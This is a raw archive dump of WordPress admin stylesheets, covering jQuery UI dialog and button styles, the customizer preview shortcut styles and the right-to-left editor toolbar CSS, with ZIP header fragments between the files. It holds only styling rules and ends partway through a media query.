.ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;right:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;right:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-button{display:inline-block;text-decoration:none;font-size:13px;line-height:2;height:28px;margin:0;padding:0 10px 1px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box;color:#50575e;border-color:#c3c4c7;background:#f6f7f7;box-shadow:0 1px 0 #c3c4c7;vertical-align:top}.ui-button:active,.ui-button:focus{outline:0}.ui-button::-moz-focus-inner{border-width:0;border-style:none;padding:0}.ui-button:focus,.ui-button:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.ui-button:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.ui-button:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}.ui-button:disabled,.ui-button[disabled]{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;text-shadow:0 1px 0 #fff!important;cursor:default;transform:none!important}@media screen and (max-width:782px){.ui-button{padding:6px 14px;line-height:normal;font-size:14px;vertical-align:middle;height:auto;margin-bottom:4px}}.ui-dialog{position:absolute;top:0;right:0;z-index:100102;background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);overflow:hidden}.ui-dialog-titlebar{background:#fff;border-bottom:1px solid #dcdcde;height:36px;font-size:18px;font-weight:600;line-height:2;padding:0 16px 0 36px}.ui-button.ui-dialog-titlebar-close{background:0 0;border:none;box-shadow:none;color:#646970;cursor:pointer;display:block;padding:0;position:absolute;top:0;left:0;width:36px;height:36px;text-align:center;border-radius:0;overflow:hidden}.ui-dialog-titlebar-close:before{font:normal 20px/1 dashicons;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;line-height:1.8;width:36px;height:36px;content:"\f158";content:"\f158"/''}.ui-button.ui-dialog-titlebar-close:focus,.ui-button.ui-dialog-titlebar-close:hover{color:#135e96}.ui-button.ui-dialog-titlebar-close:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-2px}.ui-dialog-content{padding:16px;overflow:auto}.ui-dialog-buttonpane{background:#fff;border-top:1px solid #dcdcde;padding:16px}.ui-dialog-buttonpane .ui-button{margin-right:16px}.ui-dialog-buttonpane .ui-dialog-buttonset{float:left}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-widget-overlay{position:fixed;top:0;right:0;left:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:100101}PK!Ž›--css/customize-preview.cssnu&1i„.customize-partial-refreshing { opacity: 0.25; transition: opacity 0.25s; cursor: progress; } /* Override highlight when refreshing */ .customize-partial-refreshing.widget-customizer-highlighted-widget { box-shadow: none; } /* Make shortcut buttons essentially invisible */ .widget .customize-partial-edit-shortcut, .customize-partial-edit-shortcut { position: absolute; float: left; width: 1px; /* required to have a size to be focusable in Safari */ height: 1px; padding: 0; margin: -1px 0 0 -1px; border: 0; background: transparent; color: transparent; box-shadow: none; outline: none; z-index: 5; } /** * Styles for the actual shortcut * * Note that some properties are overly verbose to prevent theme interference. */ .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { position: absolute; left: -30px; top: 2px; color: #fff; width: 30px; height: 30px; min-width: 30px; min-height: 30px; line-height: 1 !important; font-size: 18px; z-index: 5; background: #3582c4 !important; border-radius: 50%; border: 2px solid #fff; box-shadow: 0 2px 1px rgba(60, 67, 74, 0.15); text-align: center; cursor: pointer; box-sizing: border-box; padding: 3px; animation-fill-mode: both; animation-duration: .4s; opacity: 0; pointer-events: none; text-shadow: 0 -1px 1px #135e96, 1px 0 1px #135e96, 0 1px 1px #135e96, -1px 0 1px #135e96; } .wp-custom-header .customize-partial-edit-shortcut button { left: 2px } .customize-partial-edit-shortcut button svg { fill: #fff; min-width: 20px; min-height: 20px; width: 20px; height: 20px; margin: auto; } .customize-partial-edit-shortcut button:hover { background: #4f94d4 !important; /* matches primary buttons */ } .customize-partial-edit-shortcut button:focus { box-shadow: 0 0 0 2px #4f94d4; } body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button { animation-name: customize-partial-edit-shortcut-bounce-appear; pointer-events: auto; } body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button { animation-name: customize-partial-edit-shortcut-bounce-disappear; pointer-events: none; } .page-sidebar-collapsed .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button { visibility: hidden; } @keyframes customize-partial-edit-shortcut-bounce-appear { from, 20%, 40%, 60%, 80%, to { animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; transform: scale3d(.3, .3, .3); } 20% { transform: scale3d(1.1, 1.1, 1.1); } 40% { transform: scale3d(.9, .9, .9); } 60% { opacity: 1; transform: scale3d(1.03, 1.03, 1.03); } 80% { transform: scale3d(.97, .97, .97); } to { opacity: 1; transform: scale3d(1, 1, 1); } } @keyframes customize-partial-edit-shortcut-bounce-disappear { from, 20%, 40%, 60%, 80%, to { animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 1; transform: scale3d(1, 1, 1); } 20% { transform: scale3d(.97, .97, .97); } 40% { opacity: 1; transform: scale3d(1.03, 1.03, 1.03); } 60% { transform: scale3d(.9, .9, .9); } 80% { transform: scale3d(1.1, 1.1, 1.1); } to { opacity: 0; transform: scale3d(.3, .3, .3); } } @media screen and (max-width: 800px) { .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { left: -32px; } } @media screen and (max-width: 320px) { .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { left: -30px; } } PK!gce}ƒ}ƒcss/editor-rtl.cssnuȯÝí/*! This file is auto-generated */ /*------------------------------------------------------------------------------ TinyMCE and Quicklinks toolbars ------------------------------------------------------------------------------*/ /* TinyMCE widgets/containers */ .mce-tinymce { box-shadow: none; } .mce-container, .mce-container *, .mce-widget, .mce-widget * { color: inherit; font-family: inherit; } .mce-container .mce-monospace, .mce-widget .mce-monospace { font-family: Consolas, Monaco, monospace; font-size: 13px; line-height: 150%; } /* TinyMCE windows */ #mce-modal-block, #mce-modal-block.mce-fade { opacity: 0.7; filter: alpha(opacity=70); transition: none; background: #000; } .mce-window { border-radius: 0; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); -webkit-font-smoothing: subpixel-antialiased; transition: none; } .mce-window .mce-container-body.mce-abs-layout { overflow: visible; } .mce-window .mce-window-head { background: #fff; border-bottom: 1px solid #dcdcde; padding: 0; min-height: 36px; } .mce-window .mce-window-head .mce-title { color: #3c434a; font-size: 18px; font-weight: 600; line-height: 36px; margin: 0; padding: 0 16px 0 36px; } .mce-window .mce-window-head .mce-close, .mce-window-head .mce-close .mce-i-remove { color: transparent; top: 0; left: 0; width: 36px; height: 36px; padding: 0; line-height: 36px; text-align: center; } .mce-window-head .mce-close .mce-i-remove:before { font: normal 20px/36px dashicons; text-align: center; color: #646970; width: 36px; height: 36px; display: block; } .mce-window-head .mce-close:hover .mce-i-remove:before, .mce-window-head .mce-close:focus .mce-i-remove:before { color: #135e96; } .mce-window-head .mce-close:focus .mce-i-remove, div.mce-tab:focus { box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .mce-window .mce-window-head .mce-dragh { width: calc( 100% - 36px ); } .mce-window .mce-foot { border-top: 1px solid #dcdcde; } .mce-textbox, .mce-checkbox i.mce-i-checkbox, #wp-link .query-results { border: 1px solid #dcdcde; border-radius: 0; box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.07); transition: .05s all ease-in-out; } .mce-textbox:focus, .mce-textbox.mce-focus, .mce-checkbox:focus i.mce-i-checkbox, #wp-link .query-results:focus { border-color: #4f94d4; box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .mce-window .mce-wp-help { height: 360px; width: 460px; overflow: auto; } .mce-window .mce-wp-help * { box-sizing: border-box; } .mce-window .mce-wp-help > .mce-container-body { width: auto !important; } .mce-window .wp-editor-help { padding: 10px 20px 0 10px; } .mce-window .wp-editor-help h2, .mce-window .wp-editor-help p { margin: 8px 0; white-space: normal; font-size: 14px; font-weight: 400; } .mce-window .wp-editor-help table { width: 100%; margin-bottom: 20px; } .mce-window .wp-editor-help table.wp-help-single { margin: 0 8px 20px; } .mce-window .wp-editor-help table.fixed { table-layout: fixed; } .mce-window .wp-editor-help table.fixed th:nth-child(odd), .mce-window .wp-editor-help table.fixed td:nth-child(odd) { width: 12%; } .mce-window .wp-editor-help table.fixed th:nth-child(even), .mce-window .wp-editor-help table.fixed td:nth-child(even) { width: 38%; } .mce-window .wp-editor-help table.fixed th:nth-child(odd) { padding: 5px 0 0; } .mce-window .wp-editor-help td, .mce-window .wp-editor-help th { font-size: 13px; padding: 5px; vertical-align: middle; word-wrap: break-word; white-space: normal; } .mce-window .wp-editor-help th { font-weight: 600; padding-bottom: 0; } .mce-window .wp-editor-help kbd { font-family: monospace; padding: 2px 7px 3px; font-weight: 600; margin: 0; background: #f0f0f1; background: rgba(0, 0, 0, 0.08); } .mce-window .wp-help-th-center td:nth-child(odd), .mce-window .wp-help-th-center th:nth-child(odd) { text-align: center; } /* TinyMCE menus */ .mce-menu, .mce-floatpanel.mce-popover { border-color: rgba(0, 0, 0, 0.15); border-radius: 0; box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); } .mce-menu, .mce-floatpanel.mce-popover.mce-bottom { margin-top: 2px; } .mce-floatpanel .mce-arrow { display: none; } .mce-menu .mce-container-body { min-width: 160px; } .mce-menu-item { border: none; margin-bottom: 2px; padding: 6px 12px 6px 15px; } .mce-menu-has-icons i.mce-ico { line-height: 20px; } /* TinyMCE panel */ div.mce-panel { border: 0; background: #fff; } .mce-panel.mce-menu { border: 1px solid #dcdcde; } div.mce-tab { line-height: 13px; } /* TinyMCE toolbars */ div.mce-toolbar-grp { border-bottom: 1px solid #dcdcde; background: #f6f7f7; padding: 0; position: relative; } div.mce-inline-toolbar-grp { border: 1px solid #a7aaad; border-radius: 2px; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.15); box-sizing: border-box; margin-bottom: 8px; position: absolute; -webkit-user-select: none; user-select: none; max-width: 98%; z-index: 100100; /* Same as the other TinyMCE "panels" */ } div.mce-inline-toolbar-grp > div.mce-stack-layout { padding: 1px; } div.mce-inline-toolbar-grp.mce-arrow-up { margin-bottom: 0; margin-top: 8px; } div.mce-inline-toolbar-grp:before, div.mce-inline-toolbar-grp:after { position: absolute; right: 50%; display: block; width: 0; height: 0; border-style: solid; border-color: transparent; content: ""; } div.mce-inline-toolbar-grp.mce-arrow-up:before { top: -9px; border-bottom-color: #a7aaad; border-width: 0 9px 9px; margin-right: -9px; } div.mce-inline-toolbar-grp.mce-arrow-down:before { bottom: -9px; border-top-color: #a7aaad; border-width: 9px 9px 0; margin-right: -9px; } div.mce-inline-toolbar-grp.mce-arrow-up:after { top: -8px; border-bottom-color: #f6f7f7; border-width: 0 8px 8px; margin-right: -8px; } div.mce-inline-toolbar-grp.mce-arrow-down:after { bottom: -8px; border-top-color: #f6f7f7; border-width: 8px 8px 0; margin-right: -8px; } div.mce-inline-toolbar-grp.mce-arrow-left:before, div.mce-inline-toolbar-grp.mce-arrow-left:after { margin: 0; } div.mce-inline-toolbar-grp.mce-arrow-left:before { right: 20px; } div.mce-inline-toolbar-grp.mce-arrow-left:after { right: 21px; } div.mce-inline-toolbar-grp.mce-arrow-right:before, div.mce-inline-toolbar-grp.mce-arrow-right:after { right: auto; margin: 0; } div.mce-inline-toolbar-grp.mce-arrow-right:before { left: 20px; } div.mce-inline-toolbar-grp.mce-arrow-right:after { left: 21px; } div.mce-inline-toolbar-grp.mce-arrow-full { left: 0; } div.mce-inline-toolbar-grp.mce-arrow-full > div { width: 100%; overflow-x: auto; } div.mce-toolbar-grp > div { padding: 3px; } .has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first { padding-left: 32px; } .mce-toolbar .mce-btn-group { margin: 0; } /* Classic block hide/show toolbars */ .block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child) { display: none; } .block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar { display: block; } div.mce-statusbar { border-top: 1px solid #dcdcde; } div.mce-path { padding: 2px 10px; margin: 0; } .mce-path, .mce-path-item, .mce-path .mce-divider { font-size: 12px; } .mce-toolbar .mce-btn, .qt-dfw { border-color: transparent; background: transparent; box-shadow: none; text-shadow: none; cursor: pointer; } .mce-btn .mce-txt { direction: inherit; text-align: inherit; } .mce-toolbar .mce-btn-group .mce-btn, .qt-dfw { border: 1px solid transparent; margin: 2px; border-radius: 2px; } .mce-toolbar .mce-btn-group .mce-btn:hover, .mce-toolbar .mce-btn-group .mce-btn:focus, .qt-dfw:hover, .qt-dfw:focus { background: #f6f7f7; color: #1d2327; box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .mce-toolbar .mce-btn-group .mce-btn.mce-active, .mce-toolbar .mce-btn-group .mce-btn:active, .qt-dfw.active { background: #f0f0f1; border-color: #50575e; } .mce-btn.mce-active, .mce-btn.mce-active button, .mce-btn.mce-active:hover button, .mce-btn.mce-active i, .mce-btn.mce-active:hover i { color: inherit; } .mce-toolbar .mce-btn-group .mce-btn.mce-active:hover, .mce-toolbar .mce-btn-group .mce-btn.mce-active:focus { border-color: #1d2327; } .mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover, .mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus { color: #a7aaad; background: none; border-color: #dcdcde; text-shadow: 0 1px 0 #fff; box-shadow: none; } .mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus { border-color: #50575e; } .mce-toolbar .mce-btn-group .mce-first, .mce-toolbar .mce-btn-group .mce-last { border-color: transparent; } .mce-toolbar .mce-btn button, .qt-dfw { padding: 2px 3px; line-height: normal; } .mce-toolbar .mce-listbox button { font-size: 13px; line-height: 1.53846153; padding-right: 6px; padding-left: 20px; } .mce-toolbar .mce-btn i { text-shadow: none; } .mce-toolbar .mce-btn-group > div { white-space: normal; } .mce-toolbar .mce-colorbutton .mce-open { border-left: 0; } .mce-toolbar .mce-colorbutton .mce-preview { margin: 0; padding: 0; top: auto; bottom: 2px; right: 3px; height: 3px; width: 20px; background: #50575e; } .mce-toolbar .mce-btn-group .mce-btn.mce-primary { min-width: 0; background: #3582c4; border-color: #2271b1 #135e96 #135e96; box-shadow: 0 1px 0 #135e96; color: #fff; text-decoration: none; text-shadow: none; } /* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */ .mce-toolbar .mce-btn-group .mce-btn.mce-primary button { padding: 2px 3px 1px; } .mce-toolbar .mce-btn-group .mce-btn.mce-primary .mce-ico { color: #fff; } .mce-toolbar .mce-btn-group .mce-btn.mce-primary:hover, .mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus { background: #4f94d4; border-color: #135e96; color: #fff; } .mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus { box-shadow: 0 0 1px 1px #72aee6; } .mce-toolbar .mce-btn-group .mce-btn.mce-primary:active { background: #2271b1; border-color: #135e96; box-shadow: inset 0 2px 0 #135e96; } /* mce listbox */ .mce-toolbar .mce-btn-group .mce-btn.mce-listbox { border-radius: 0; direction: rtl; background: #fff; border: 1px solid #dcdcde; } .mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover, .mce-toolbar .mce-btn-group .mce-btn.mce-listbox:focus { box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .mce-panel .mce-btn i.mce-caret { border-top: 6px solid #50575e; margin-right: 2px; margin-left: 2px; } .mce-listbox i.mce-caret { left: 4px; } .mce-panel .mce-btn:hover i.mce-caret, .mce-panel .mce-btn:focus i.mce-caret { border-top-color: #1d2327; } .mce-panel .mce-active i.mce-caret { border-top: 0; border-bottom: 6px solid #1d2327; margin-top: 7px; } .mce-listbox.mce-active i.mce-caret { margin-top: -3px; } .mce-toolbar .mce-splitbtn:hover .mce-open { border-left-color: transparent; } .mce-toolbar .mce-splitbtn .mce-open.mce-active { background: transparent; outline: none; } .mce-menu .mce-menu-item:hover, .mce-menu .mce-menu-item.mce-selected, .mce-menu .mce-menu-item:focus, .mce-menu .mce-menu-item.mce-active.mce-menu-item-normal, .mce-menu .mce-menu-item.mce-active.mce-menu-item-preview { background: #2271b1; /* See color scheme. */ color: #fff; } .mce-menu .mce-menu-item:hover .mce-caret, .mce-menu .mce-menu-item:focus .mce-caret, .mce-menu .mce-menu-item.mce-selected .mce-caret { border-right-color: #fff; } /* rtl:ignore */ .rtl .mce-menu .mce-menu-item:hover .mce-caret, .rtl .mce-menu .mce-menu-item:focus .mce-caret, .rtl .mce-menu .mce-menu-item.mce-selected .mce-caret { border-left-color: inherit; border-right-color: #fff; } .mce-menu .mce-menu-item:hover .mce-text, .mce-menu .mce-menu-item:focus .mce-text, .mce-menu .mce-menu-item:hover .mce-ico, .mce-menu .mce-menu-item:focus .mce-ico, .mce-menu .mce-menu-item.mce-selected .mce-text, .mce-menu .mce-menu-item.mce-selected .mce-ico, .mce-menu .mce-menu-item:hover .mce-menu-shortcut, .mce-menu .mce-menu-item:focus .mce-menu-shortcut, .mce-menu .mce-menu-item.mce-active .mce-menu-shortcut, .mce-menu .mce-menu-item.mce-disabled:hover .mce-text, .mce-menu .mce-menu-item.mce-disabled:hover .mce-ico { color: inherit; } .mce-menu .mce-menu-item.mce-disabled { cursor: default; } .mce-menu .mce-menu-item.mce-disabled:hover { background: #c3c4c7; } /* Menubar */ div.mce-menubar { border-color: #dcdcde; background: #fff; border-width: 0 0 1px; } .mce-menubar .mce-menubtn:hover, .mce-menubar .mce-menubtn.mce-active, .mce-menubar .mce-menubtn:focus { border-color: transparent; background: transparent; } .mce-menubar .mce-menubtn:focus { color: #043959; box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } div.mce-menu .mce-menu-item-sep, .mce-menu-item-sep:hover { border-bottom: 1px solid #dcdcde; height: 0; margin: 5px 0; } .mce-menubtn span { margin-left: 0; padding-right: 3px; } .mce-menu-has-icons i.mce-ico:before { margin-right: -2px; } /* Keyboard shortcuts position */ .mce-menu.mce-menu-align .mce-menu-item-normal { position: relative; } .mce-menu.mce-menu-align .mce-menu-shortcut { bottom: 0.6em; font-size: 0.9em; } /* Buttons in modals */ .mce-primary button, .mce-primary button i { text-align: center; color: #fff; text-shadow: none; padding: 0; line-height: 1.85714285; } .mce-window .mce-btn { color: #50575e; background: #f6f7f7; text-decoration: none; font-size: 13px; line-height: 26px; height: 28px; margin: 0; padding: 0; cursor: pointer; border: 1px solid #c3c4c7; -webkit-appearance: none; border-radius: 3px; white-space: nowrap; box-shadow: 0 1px 0 #c3c4c7; } /* Remove the dotted border on :focus and the extra padding in Firefox */ .mce-window .mce-btn::-moz-focus-inner { border-width: 0; border-style: none; padding: 0; } .mce-window .mce-btn:hover, .mce-window .mce-btn:focus { background: #f6f7f7; border-color: #8c8f94; color: #1d2327; } .mce-window .mce-btn:focus { border-color: #4f94d4; box-shadow: 0 0 3px rgba(34, 113, 177, 0.8); } .mce-window .mce-btn:active { background: #f0f0f1; border-color: #8c8f94; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5); transform: translateY(1px); } .mce-window .mce-btn.mce-disabled { color: #a7aaad !important; border-color: #dcdcde !important; background: #f6f7f7 !important; box-shadow: none !important; text-shadow: 0 1px 0 #fff !important; cursor: default; transform: none !important; } .mce-window .mce-btn.mce-primary { background: #3582c4; border-color: #2271b1 #135e96 #135e96; box-shadow: 0 1px 0 #135e96; color: #fff; text-decoration: none; text-shadow: 0 -1px 1px #135e96, -1px 0 1px #135e96, 0 1px 1px #135e96, 1px 0 1px #135e96; } .mce-window .mce-btn.mce-primary:hover, .mce-window .mce-btn.mce-primary:focus { background: #4f94d4; border-color: #135e96; color: #fff; } .mce-window .mce-btn.mce-primary:focus { box-shadow: 0 1px 0 #2271b1, 0 0 2px 1px #72aee6; } .mce-window .mce-btn.mce-primary:active { background: #2271b1; border-color: #135e96; box-shadow: inset 0 2px 0 #135e96; vertical-align: top; } .mce-window .mce-btn.mce-primary.mce-disabled { color: #9ec2e6 !important; background: #4f94d4 !important; border-color: #3582c4 !important; box-shadow: none !important; text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.1) !important; cursor: default; } .mce-menubtn.mce-fixed-width span { overflow-x: hidden; text-overflow: ellipsis; width: 82px; } /* Charmap modal */ .mce-charmap { margin: 3px; } .mce-charmap td { padding: 0; border-color: #dcdcde; cursor: pointer; } .mce-charmap td:hover { background: #f6f7f7; } .mce-charmap td div { width: 18px; height: 22px; line-height: 1.57142857; } /* TinyMCE tooltips */ .mce-tooltip { margin-top: 2px; } .mce-tooltip-inner { border-radius: 3px; box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); color: #fff; font-size: 12px; } /* TinyMCE icons */ .mce-ico { font-family: tinymce, Arial; } .mce-btn-small .mce-ico { font-family: tinymce-small, Arial; } .mce-toolbar .mce-ico { color: #50575e; line-height: 1; width: 20px; height: 20px; text-align: center; text-shadow: none; margin: 0; padding: 0; } .qt-dfw { color: #50575e; line-height: 1; width: 28px; height: 26px; text-align: center; text-shadow: none; } .mce-toolbar .mce-btn .mce-open { line-height: 20px; } .mce-toolbar .mce-btn:hover .mce-open, .mce-toolbar .mce-btn:focus .mce-open, .mce-toolbar .mce-btn.mce-active .mce-open { border-right-color: #1d2327; } div.mce-notification { right: 10% !important; left: 10%; } .mce-notification button.mce-close { left: 6px; top: 3px; font-weight: 400; color: #50575e; } .mce-notification button.mce-close:hover, .mce-notification button.mce-close:focus { color: #000; } i.mce-i-bold, i.mce-i-italic, i.mce-i-bullist, i.mce-i-numlist, i.mce-i-blockquote, i.mce-i-alignleft, i.mce-i-aligncenter, i.mce-i-alignright, i.mce-i-link, i.mce-i-unlink, i.mce-i-wp_more, i.mce-i-strikethrough, i.mce-i-spellchecker, i.mce-i-fullscreen, i.mce-i-wp_fullscreen, i.mce-i-dfw, i.mce-i-wp_adv, i.mce-i-underline, i.mce-i-alignjustify, i.mce-i-forecolor, i.mce-i-backcolor, i.mce-i-pastetext, i.mce-i-pasteword, i.mce-i-removeformat, i.mce-i-charmap, i.mce-i-outdent, i.mce-i-indent, i.mce-i-undo, i.mce-i-redo, i.mce-i-help, i.mce-i-wp_help, i.mce-i-wp-media-library, i.mce-i-ltr, i.mce-i-wp_page, i.mce-i-hr, i.mce-i-wp_code, i.mce-i-dashicon, i.mce-i-remove { font: normal 20px/1 dashicons; padding: 0; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; margin-right: -2px; padding-left: 2px; } .qt-dfw { font: normal 20px/1 dashicons; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } i.mce-i-bold:before { content: "\f200"; content: "\f200" / ''; } i.mce-i-italic:before { content: "\f201"; content: "\f201" / ''; } i.mce-i-bullist:before { content: "\f203"; content: "\f203" / ''; } i.mce-i-numlist:before { content: "\f204"; content: "\f204" / ''; } i.mce-i-blockquote:before { content: "\f205"; content: "\f205" / ''; } i.mce-i-alignleft:before { content: "\f206"; content: "\f206" / ''; } i.mce-i-aligncenter:before { content: "\f207"; content: "\f207" / ''; } i.mce-i-alignright:before { content: "\f208"; content: "\f208" / ''; } i.mce-i-link:before { content: "\f103"; content: "\f103" / ''; } i.mce-i-unlink:before { content: "\f225"; content: "\f225" / ''; } i.mce-i-wp_more:before { content: "\f209"; content: "\f209" / ''; } i.mce-i-strikethrough:before { content: "\f224"; content: "\f224" / ''; } i.mce-i-spellchecker:before { content: "\f210"; content: "\f210" / ''; } i.mce-i-fullscreen:before, i.mce-i-wp_fullscreen:before, i.mce-i-dfw:before, .qt-dfw:before { content: "\f211"; content: "\f211" / ''; } i.mce-i-wp_adv:before { content: "\f212"; content: "\f212" / ''; } i.mce-i-underline:before { content: "\f213"; content: "\f213" / ''; } i.mce-i-alignjustify:before { content: "\f214"; content: "\f214" / ''; } i.mce-i-forecolor:before, i.mce-i-backcolor:before { content: "\f215"; content: "\f215" / ''; } i.mce-i-pastetext:before { content: "\f217"; content: "\f217" / ''; } i.mce-i-removeformat:before { content: "\f218"; content: "\f218" / ''; } i.mce-i-charmap:before { content: "\f220"; content: "\f220" / ''; } i.mce-i-outdent:before { content: "\f221"; content: "\f221" / ''; } i.mce-i-indent:before { content: "\f222"; content: "\f222" / ''; } i.mce-i-undo:before { content: "\f171"; content: "\f171" / ''; } i.mce-i-redo:before { content: "\f172"; content: "\f172" / ''; } i.mce-i-help:before, i.mce-i-wp_help:before { content: "\f223"; content: "\f223" / ''; } i.mce-i-wp-media-library:before { content: "\f104"; content: "\f104" / ''; } i.mce-i-ltr:before { content: "\f320"; content: "\f320" / ''; } i.mce-i-wp_page:before { content: "\f105"; content: "\f105" / ''; } i.mce-i-hr:before { content: "\f460"; content: "\f460" / ''; } i.mce-i-remove:before { content: "\f158"; content: "\f158" / ''; } i.mce-i-wp_code:before { content: "\f475"; content: "\f475" / ''; } /* RTL button icons */ .rtl i.mce-i-outdent:before { content: "\f222"; content: "\f222" / ''; } .rtl i.mce-i-indent:before { content: "\f221"; content: "\f221" / ''; } /* Editors */ .wp-editor-wrap { position: relative; } .wp-editor-tools { position: relative; z-index: 1; } .wp-editor-tools:after { clear: both; content: ""; display: table; } .wp-editor-container { clear: both; border: 1px solid #dcdcde; } .wp-editor-area { font-family: Consolas, Monaco, monospace; font-size: 13px; padding: 10px; margin: 1px 0 0; line-height: 150%; border: 0; outline: none; display: block; resize: vertical; box-sizing: border-box; } .rtl .wp-editor-area { font-family: Tahoma, Monaco, monospace; } .locale-he-il .wp-editor-area { font-family: Arial, Monaco, monospace; } .wp-editor-container textarea.wp-editor-area { width: 100%; margin: 0; box-shadow: none; } .wp-editor-tabs { float: left; } .wp-switch-editor { float: right; box-sizing: content-box; position: relative; top: 1px; background: #f0f0f1; color: #646970; cursor: pointer; font-size: 13px; line-height: 1.46153846; height: 20px; margin: 5px 5px 0 0; padding: 3px 8px 4px; border: 1px solid #dcdcde; } .wp-switch-editor:focus { box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; color: #1d2327; } .wp-switch-editor:active { background-color: #f6f7f7; box-shadow: none; } .js .tmce-active .wp-editor-area { color: #fff; } .tmce-active .quicktags-toolbar { display: none; } .tmce-active .switch-tmce, .html-active .switch-html { background: #f6f7f7; color: #50575e; border-bottom-color: #f6f7f7; } .wp-media-buttons { float: right; } .wp-media-buttons .button { margin-left: 5px; margin-bottom: 4px; padding-right: 7px; padding-left: 7px; } .wp-media-buttons .button:active { position: relative; top: 1px; margin-top: -1px; margin-bottom: 1px; } .wp-media-buttons .insert-media { padding-right: 5px; } .wp-media-buttons a { text-decoration: none; color: #3c434a; font-size: 12px; } .wp-media-buttons img { padding: 0 4px; vertical-align: middle; } .wp-media-buttons span.wp-media-buttons-icon { display: inline-block; width: 20px; height: 20px; line-height: 1; vertical-align: middle; margin: 0 2px; } .wp-media-buttons .add_media span.wp-media-buttons-icon { background: none; } .wp-media-buttons .add_media span.wp-media-buttons-icon:before { font: normal 18px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .wp-media-buttons .add_media span.wp-media-buttons-icon:before { content: "\f104"; content: "\f104" / ''; } .mce-content-body dl.wp-caption { max-width: 100%; } /* Quicktags */ .quicktags-toolbar { padding: 3px; position: relative; border-bottom: 1px solid #dcdcde; background: #f6f7f7; min-height: 30px; } .has-dfw .quicktags-toolbar { padding-left: 35px; } .wp-core-ui .quicktags-toolbar input.button.button-small { margin: 2px; } .quicktags-toolbar input[value="link"] { text-decoration: underline; } .quicktags-toolbar input[value="del"] { text-decoration: line-through; } .quicktags-toolbar input[value="i"] { font-style: italic; } .quicktags-toolbar input[value="b"] { font-weight: 600; } .mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw, .qt-dfw { position: absolute; top: 0; left: 0; } .mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw { margin: 7px 0 0 7px; } .qt-dfw { margin: 5px 0 0 5px; } .qt-fullscreen { position: static; margin: 2px; } @media screen and (max-width: 782px) { .mce-toolbar .mce-btn button, .qt-dfw { padding: 6px 7px; } /* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */ .mce-toolbar .mce-btn-group .mce-btn.mce-primary button { padding: 6px 7px 5px; } .mce-toolbar .mce-btn-group .mce-btn { margin: 1px; } .qt-dfw { width: 36px; height: 34px; } .mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw { margin: 4px 0 0 4px; } .mce-toolbar .mce-colorbutton .mce-preview { right: 8px; bottom: 6px; } .mce-window .mce-btn { padding: 2px 0; } .has-dfw div.mce-toolbar-grp 